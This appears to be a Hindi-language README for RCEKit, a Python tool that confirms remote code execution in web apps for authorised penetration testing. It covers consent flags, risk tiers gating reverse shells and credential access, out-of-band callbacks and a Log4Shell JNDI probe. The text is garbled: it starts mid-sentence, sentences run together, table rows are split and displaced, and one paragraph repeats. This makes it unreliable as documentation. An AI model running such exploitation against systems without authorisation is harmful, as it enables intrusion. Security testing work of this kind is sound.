inconclusive है, कोई खोज नहीं।$((a+b)) लौटता है; केवल निष्पादन मान लौटाता है।confirmed कहेगा।वही प्रवृत्ति दूसरी दिशा में भी चलती है। टाइमिंग कभी स्व-पुष्टि नहीं करती, एक डीसेरिएलाइज़ेशन कॉलबैक को कभी RCE नहीं कहा जाता, और जिस रन ने कोई प्रोब नहीं बनाया उसे कभी नकारात्मक नहीं कहा जाता।
क्लाइंट के rules of engagement वास्तव में जिन नियंत्रणों के बारे में पूछते हैं, वे आपके नोट्स में नहीं बल्कि टूल में:
| सहमति गेट | --acknowledge-consent के बिना कुछ भी शोषणकारी उत्पन्न या फायर नहीं होता। |
| निष्पादन योजना | पहला अनुरोध बाहर जाने से पहले सटीक प्रोब गणना, सिंक आकार, सुरक्षा स्तर और किसी भी आउटबाउंड कॉलबैक गंतव्य को प्रिंट करता है। |
| डिफ़ॉल्ट रूप से सुरक्षित | रिवर्स शेल, क्रेडेंशियल एक्सेस, क्लाउड मेटाडेटा, लेटरल मूवमेंट और कंटेनर एस्केप तब तक रोके जाते हैं जब तक आप --verify-active-risk नहीं बढ़ाते; persistence और backdoors के लिए ऊपर से एक दूसरा फ्लैग चाहिए। जो ब्रिज लक्ष्य पर एक ऑब्जेक्ट बनाते हैं वे भी उसी सीमा तक सीमित हैं। |
| क्लीनअप कमांड | file, write और स्टेटफुल ब्रिज लक्ष्य स्थिति बदलते हैं, इसलिए हर खोज — needs-review सहित — प्रिंट करती है कि इसे पूर्ववत करने के लिए क्या चलाना है। |
| क्रेडेंशियल यथावत रहते हैं | file रीड-बैक फ़ेच रन के Authorization/Cookie हेडर केवल समान ओरिजिन तक ले जाता है, और जब वह उन्हें रोकता है तो यह ज़ोर से बताता है। अवलोकित-चैनल फ़ेच तब तक कोई नहीं भेजता जब तक आप उसे --observe-request के साथ कोई अनुरोध न दें। |
| रिडैक्टेड ऑडिट ट्रेल | हर रन exploit_audit.log में दर्ज होता है, यह रिकॉर्ड करते हुए कि एक क्रेडेंशियल हेडर भेजा गया था, कभी उसका मान नहीं। |
| वॉटरमार्किंग | --watermark प्रत्येक पेलोड में एक ट्रेस करने योग्य टोकन अंकित करता है, ताकि महीनों बाद क्लाइंट के लॉग में मिला पेलोड आपके रन के लिए जिम्मेदार ठहराया जा सके। |
| कोई तृतीय-पक्ष कॉलबैक नहीं | OOB लिसनर आपका है। कुछ भी किसी सार्वजनिक इंटरैक्शन सर्वर के माध्यम से नहीं भेजा जाता, जिसे कुछ एंगेजमेंट पूरी तरह मना करते हैं। |
| एक stdlib फ़ाइल | rcekit.py अकेले चलती है — जंप बॉक्स, एयर-गैप्ड होस्ट, कहीं भी जहाँ pip install विकल्प न हो। |
निर्णय के बजाय शेल चाहिए? commix और SSTImap पोस्ट-एक्सप्लॉइटेशन में आगे बढ़ते हैं; RCEKit डिज़ाइन से प्रमाण पर रुक जाता है। ज्ञात CVEs के लिए हज़ारों होस्ट स्कैन करने हैं? वह Nuclei का काम है — और RCEKit Nuclei टेम्पलेट लिखता है (--output-format nuclei), इसलिए यह आपके स्कैनर को फ़ीड करता है, उससे प्रतिस्पर्धा नहीं करता। पहले से पता है कि इंजेक्शन SQL है और डेटाबेस ही चाहिए?
sqlmap उस क्षेत्र का मालिक है — RCEKit के ब्रिज इस बात को साबित करने के लिए हैं कि एक टेक्स्ट पैरामीटर से OS तक पहुँचा जा सकता है, डेटाबेस का शोषण करने के लिए नहीं।
प्रत्येक पंक्ति फ़ील्ड गाइड में एक काम किया हुआ उदाहरण है — कमांड, यह क्या भेजता है, और जो वापस आता है उसे कैसे पढ़ें।
| स्थिति | यहाँ जाएँ |
|---|---|
| मेरे पास एक URL और एक पैरामीटर है | Point at a URL |
| मेरे पास Burp से सहेजा गया अनुरोध है | Point at a captured request |
| ऐप JSON है / पेलोड बार-बार विकृत होता रहता है | Landing the payload intact |
| मुझे नहीं पता यह कौन सी क्लास है | Choosing methods |
सिंक ; को हटा देता है | When the sink filters separators |
मेरा इनपुट 'quotes' के अंदर पहुँचता है | Injecting inside quotes |
| सिंक मेरे इनपुट को पूरे कमांड के रूप में चलाता है | Whole-command sinks |
| लक्ष्य Windows है या सिंक PowerShell है | Windows and PowerShell sinks |
| एक WAF है | Working around a WAF |
| कोई आउटपुट वापस नहीं आता | Blind targets |
| कोई आउटपुट और कोई egress नहीं | No-egress targets |
| अनुरोध कुछ चलाने के बजाय एक फ़ाइल संग्रहीत करता है | Upload and write-primitive targets |
| पेलोड बाद में, किसी भिन्न अनुरोध पर चलता है |
| Verify it yourself | ऊपर दी गई पुष्टियों को अपनी मशीन पर, dockerised कमज़ोर लक्ष्यों के विरुद्ध पुनरुत्पादित करें। पाँच मिनट। |
| Field guide | हर वास्तविक स्थिति का उदाहरण-चालित वॉकथ्रू, पहले प्रोब से लेकर मल्टी-स्टेप चेन तक। यहाँ से शुरू करें। |
| Payload generation & exports | पेलोड जनरेटर के रूप में RCEKit: लक्ष्य प्रोफ़ाइल, और Burp / ffuf / Nuclei एक्सपोर्ट। |
| Reference | हर फ्लैग, एनवायरनमेंट, श्रेणी, कॉन्टेक्स्ट, एन्कोडिंग और कोड-एक्ज़ीक्यूशन सिंक। |
| CHANGELOG.md | प्रत्येक रिलीज़ में क्या बदला, और अपग्रेड करते समय क्या दोबारा जाँचना है। |
| CONTRIBUTING.md | सिंक, श्रेणियाँ, एन्कोडिंग और डिटेक्शन विधियाँ कैसे जोड़ें। |
| SECURITY.md | RCEKit में ही किसी कमज़ोरी की रिपोर्ट करना। |
RCEKit शोषण करता है, और यही बात है। एक कमज़ोरी की पुष्टि लक्ष्य से वह काम करवाकर की जाती है, क्योंकि यही एकमात्र साक्ष्य है जिसे कोई सिग्नेचर नकली नहीं बना सकता और कोई पैच किया हुआ बिल्ड संयोगवश उत्पन्न नहीं कर सकता। एक रन को जो सीमित करता है वह शोषण करने की अनिच्छा नहीं है। यह दो संरचनात्मक तथ्य और एक स्विच है।
यह आपसे कोई मनमाना पेलोड नहीं लेता। प्रोब इंजन द्वारा एक ओरेकल की सेवा के लिए बनाए जाते हैं — उस प्रोब के लिए यादृच्छिक ऑपरेंड पर अंकगणित, एक नाम जिसे केवल यह रन ही चुन सकता था। ऐसा कोई इनपुट नहीं है जो डिटेक्शन को कुछ और बना दे, क्योंकि देने के लिए ऐसा कोई इनपुट ही नहीं है।
मान की गणना से आगे बढ़ने वाली कोई भी चीज़ अपने आवश्यक स्तर की घोषणा करती है, इसलिए एक फ्लैग तय करता है कि एक रन कितनी दूर जाएगा: --verify-active-risk safe | intrusive | stateful। उस स्तर से ऊपर की कोई विधि या एकल प्रोब आकार नाम से रोका जाता है, उस फ्लैग के साथ जो इसे भेजेगा — एक सीढ़ी जो चुपचाप सिकुड़ती है, उस लक्ष्य से अप्रभेद्य है जिसमें खोजने के लिए कुछ नहीं है। एक डिस्पोज़ेबल इंस्टेंस के विरुद्ध, स्तर बढ़ाएँ और टूल का सब कुछ पाएँ।
--acknowledge-consent आवश्यक है; --detection-only सौम्य है और इसकी आवश्यकता नहीं।--verify-active-risk नहीं बढ़ाते। विनाशकारी पेलोड (persistence, backdoors) --verify-allow-destructive के बिना कभी
फायर नहीं होते। एक निष्पादन योजना कुछ भी फायर होने से पहले ठीक-ठीक प्रिंट करती है
कि क्या भेजा जाएगा।safe / intrusive / stateful। कॉर्पस पेलोड को
--max-safety द्वारा फ़िल्टर किया जाता है; डिटेक्शन विधियाँ और उनके प्रोब आकार समान
सीढ़ियों की घोषणा करते हैं और --verify-active-risk द्वारा फ़िल्टर किए जाते हैं, इसलिए एक विधि जो
लक्ष्य को बाहर तक पहुँचाती है या पीछे कुछ छोड़ती है, उसे हर कॉर्पस पेलोड के समान
क्रम में रखा जाता है। प्री-फ़्लाइट उस स्तर का नाम बताती है जो प्रत्येक रोकी गई
वस्तु को वास्तव में चाहिए। file और write इसके बजाय अपने स्वयं के कॉन्फ़िगरेशन द्वारा नियंत्रित होते हैं: जब तक आप लिखने के लिए एक डायरेक्टरी और उसे वापस पढ़ने के लिए एक
URL का नाम नहीं देते, तब तक कोई भी कुछ नहीं करता।exploit_audit.log में दर्ज होता है; --watermark एक ट्रेस करने योग्य टोकन एम्बेड करता है; निष्पादन लॉग
rcekit.log में जाते हैं।--template-file जो अनुपस्थित है, RCEKit को चलने से इनकार करने और गैर-शून्य के साथ बाहर निकलने पर मजबूर करता है
बजाय चुपचाप कुछ भी उत्पन्न न करने के (--doctor इसे जाँचता है)। केवल एक अनुपस्थित
डिफ़ॉल्ट कॉर्पस फ़ाइल बिल्ट-इन कॉपी पर वापस जाती है, और ऐसा करते समय यह बताती है।--template-file जो अनुपस्थित है, RCEKit को चलने से इनकार करने और गैर-शून्य के साथ बाहर निकलने पर मजबूर करता है
बजाय चुपचाप कुछ भी उत्पन्न न करने के (--doctor इसे जाँचता है)। केवल एक अनुपस्थित
डिफ़ॉल्ट कॉर्पस फ़ाइल बिल्ट-इन कॉपी पर वापस जाती है, और ऐसा करते समय यह बताती है।यह टूलकिट केवल अधिकृत पेनिट्रेशन टेस्टिंग, सुरक्षा अनुसंधान, शिक्षा, और रक्षात्मक प्रशिक्षण के लिए है। स्पष्ट अनुमति के बिना सिस्टम के विरुद्ध इसका कभी उपयोग न करें — अनधिकृत परीक्षण अवैध है।
python -m unittest discover -s tests # dependency-free test suite
योगदान का स्वागत है — नए sinks/categories, encodings, environments, detection
methods, bug fixes, और docs। Payload bases संपादन योग्य JSON templates
(`templates/payloads.json`) में रहते हैं, इसलिए अधिकांश coverage Python
source को छुए बिना बढ़ाई जा सकती है। Corpus बदलने के बाद, `rcekit.py` के अंदर
शिप होने वाली built-in copy को refresh करें:```bash
python tools/embed_corpus.py # --check verifies it is current
यदि दोनों कभी भी अलग हो जाएँ तो टेस्ट सूट विफल हो जाता है। देखें CONTRIBUTING.md।
MIT — देखें LICENSE।
| ब्लाइंड / आउट-ऑफ-बैंड — exfil, async | oob | बिल्ट-इन HTTP/DNS लिसनर कॉलबैक प्राप्त करता है और हर एक को सटीक पेलोड से कोरिलेट करता है; हर प्रोब अपना खुद का टोकन लेकर चलता है। |
| एक्सप्रेशन-लुकअप सिंक — Log4Shell/JNDI | lookup | सिंक कमांड चलाने के बजाय एक ${jndi:…} URI को रिज़ॉल्व करता है, इसलिए oob के शेल प्रोब कुछ नहीं पाते। इसे केवल कॉलबैक पर साबित करता है और lookup-sink रिपोर्ट करता है, कभी confirmed नहीं। केवल jndi:dns:// भेजा जाता है — एक नेम लुकअप और कुछ नहीं — इसलिए जो साबित होता है वह लुकअप है, कोई गैजेट चेन नहीं। |
| When execution happens on another request |
| इंजेक्शन बिंदु SQL है और सिंक डेटाबेस होस्ट है | Query-language bridges |
| एंडपॉइंट एक सीरियलाइज़्ड ऑब्जेक्ट लेता है | Deserialization sinks |
| सिंक किसी लॉगिन या फ़ाइल अपलोड के पीछे है | Multi-step chains |
मुझे needs-review / inconclusive / error मिला | Reading the results |
| यह कहता है कि कॉर्पस अनुपयोगी है | Troubleshooting |